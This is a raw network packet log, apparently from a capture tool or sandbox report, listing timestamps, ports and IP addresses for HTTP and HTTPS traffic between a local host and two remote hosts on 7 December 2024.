Dec 7, 2024 00:15:52.043838024 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.044658899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.044706106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.044838905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.044886112 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.045670033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.045712948 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.045862913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.045914888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.046680927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.046776056 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.046778917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.046818972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.047641993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.047702074 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.047744989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.047785997 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.048696995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.048736095 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.048758030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.048775911 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.049633026 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.049716949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.049793005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.049834967 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.050671101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.050712109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.050945997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.050996065 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.051652908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.051714897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.051750898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.051831007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.052634954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.052716017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.052746058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.052787066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.053616047 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.053688049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.053721905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.053766966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.054620981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.054672956 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.054714918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.054817915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.055618048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.055669069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.055733919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.055780888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.056603909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.056653976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.056771040 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.056818962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.087924004 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.087948084 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.088031054 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.088037968 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.088073969 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.126769066 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.126784086 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.126857042 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.126863956 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.126908064 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.148617983 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.148636103 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.148698092 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.148704052 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.148730040 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.148751974 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.165476084 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.165493965 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.165554047 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.165560007 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.165611029 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.197698116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.197762966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.197820902 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.197863102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.198110104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.198156118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.198240042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.198282957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.199115992 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.199174881 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.199204922 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.199249983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.200090885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.200140953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.200198889 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.200246096 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.201100111 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.201159000 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.201189041 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.201225996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.202086926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.202187061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.202212095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.202234983 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.203095913 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.203202963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.203217030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.203243017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.204103947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.204181910 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.204189062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.204221964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.205066919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.205115080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.205172062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.205228090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.206054926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.206105947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.206180096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.206259012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.207129002 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.207154036 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.207211018 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.207226992 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.207242012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.207252979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.207252979 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.207281113 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.207283974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.207304955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.208045959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.208103895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.208137989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.208177090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.209033966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.209136963 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.209192038 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.210041046 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.210088015 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.210187912 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.210402012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.211030006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.211071968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.211127043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.211214066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.212044954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.212090969 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.212125063 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.212162971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.213023901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.213072062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.213110924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.213160992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.214027882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.214108944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.214118958 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.214160919 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.215020895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.215073109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.215106010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.215166092 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.216017008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.216062069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.216090918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.216131926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.217019081 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.217065096 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.217116117 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.217159986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.218013048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.218106031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.218153954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.219044924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.219124079 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.219156981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.219171047 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.219970942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.220012903 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.220114946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.220176935 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.221028090 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.221110106 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.221160889 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.221976042 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.222021103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.222076893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.222282887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.222944975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.223006010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.223052979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.223107100 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.223951101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.224009037 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.224047899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.224098921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.224977970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.225023031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.225080967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.225131035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.225946903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.225994110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.226053953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.226099968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.226917982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.226960897 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.227035999 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.227082968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.227933884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.227983952 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.228034973 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.228075027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.228916883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.228964090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.229015112 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.229098082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.229994059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.230005026 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.230068922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.230909109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.230954885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.231045008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.231101990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.231904030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.231955051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.232127905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.232189894 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.232920885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.232966900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.233026028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.233072996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.233922005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.233969927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.234009981 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.234050989 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.234896898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.235018969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.235064030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.235905886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.235958099 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.236012936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.236053944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.236898899 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.236953974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.237020016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.237066031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.237875938 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.237929106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.237962008 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.238006115 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.238879919 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.238928080 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.238962889 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.239028931 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.239857912 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.239918947 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.240001917 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.240053892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.240873098 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.240914106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.240947962 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.241038084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.241858006 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.241931915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.241960049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.242007971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.242851019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.242898941 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.242933035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.243026972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.243837118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.243882895 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.243941069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.243983030 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.244842052 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.244889021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.244956017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.245002031 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.245830059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.245877028 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.245918036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.245970964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.246834993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.246885061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.246927023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.246975899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.247807980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.247859955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.247895002 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.247958899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.248832941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.248881102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.248912096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.248960018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.249789953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.249840021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.260396004 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.260427952 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.260478020 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.260490894 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.260526896 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.260548115 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.275135040 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.275170088 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.275207043 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.275213957 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.275271893 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.290987968 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.291004896 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.291306019 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.291316986 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.291474104 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.306978941 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.306998014 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.307141066 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.307146072 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.307301998 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.322473049 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.322489023 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.322572947 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.322578907 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.322622061 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.338114977 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.338130951 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.338294983 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.338299990 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.338398933 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.352608919 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.352632999 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.352745056 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.352750063 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.352910042 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.366111994 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.366128922 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.366493940 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.366498947 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.366853952 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.380311012 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.380342007 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.380424023 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.380436897 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.380543947 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.389589071 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.389722109 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.389755011 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.390109062 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.390305042 CET	80	49823	185.215.113.206	192.168.2.6
